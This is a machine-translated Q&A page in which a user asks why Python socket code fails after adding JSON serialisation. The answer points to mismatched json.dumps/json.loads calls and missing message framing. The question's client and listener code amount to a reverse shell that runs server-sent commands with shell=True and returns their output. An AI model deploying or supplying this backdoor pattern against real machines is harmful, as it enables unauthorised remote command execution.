如何通过输入套接字将Shell命令转换为json序列化数据。例如:json.dumps和json.loads python 3x

时间:2019-01-05 13:38:05

标签: python json sockets

我正在尝试通过套接字连接远程运行命令,但是每当我给出命令代码时都会崩溃,结果是: 生成subprocess.CalledProcessError:命令'“ dir”'返回非零退出状态1。

客户

!/usr/bin/env python

import socket
import subprocess
import json


class remote:
    def __init__(self, ip, port):
        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connection.connect((ip, port))

    def reliable_send(self, data):
        json_data = json.dumps(data)
        self.connection.send(json_data)

    def reliable_receive(self):
        json_data = json.dumps(self.connection.recv(1024).decode())
        return json.loads(json_data)
        # stuck here! I am trying to create a mkdir via subprocess command. But cannot figure out after this.


    def execute_system_command(self, command):
        return subprocess.check_output(command, shell=True)

    def run(self):
        while True:
            command = self.reliable_receive()
            command_result = self.execute_system_command(command)
            self.reliable_send(command_result)
        connection.close()


my_class = remote("xxx.xxx.xxx.xxx", xxxx)
my_class.run()

目标是运行服务器中键入的所有命令以在客户端中工作。但是要管理大文件。服务器正在尝试通过json.dumps将所有接收到的数据放入Json序列化数据,并通过json.loads进行获取。代码无需序列化即可很好地工作。

服务器

!/usr/bin/env python

import socket, json


class Listener:
    def __init__(self, ip, port):
       listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
       listener.bind((ip, port))
       listener.listen(0)
       print("[+] Waiting for incoming connections")
       self.connection, address = listener.accept()
       print("[+] Got connection from " + str(address))

   def reliable_send(self, data):
       json_data = json.dumps(data)
       self.connection.send(json_data)

   def reliable_receive(self):
       json_data = json.dumps(self.connection.recv(1024).decode())
       return json.loads(json_data)

   def execute_remotely(self, command):
       self.reliable_send(command)
       return self.reliable_receive()

   def run(self):
       while True:
           command = raw_input(">> ")
           result = self.execute_remotely(command)
           print(result)


my_listener = Listener("xxx.xxx.xxx.xxx", xxxx)
my_listener.run()

1 个答案:

答案 0 :(得分:0)

reliable_receive中,您是在致电json.loads后立即致电json.dumps的。显然没有意义。

特别是,您已经在json.dumps中呼叫了reliable_send。更一般地说,您当然需要相同数量的转储和装载。 不平衡会在错误消息中产生明显的多余报价。

更根本的问题是您的协议不可靠:它假定消息是原子且单独到达的(如名称所暗示,永远不会得到SOCK_STREAM的保证),并且1024 B.您需要使用某种形式的增量解析来识别消息的结尾。

这很简单,只需向每个地址添加一个空字节,因为我们知道JSON从未使用过一个。但是,您仍然必须循环接收,直到看到一个,然后将其删除,并保留所有尾部以用于下一个命令。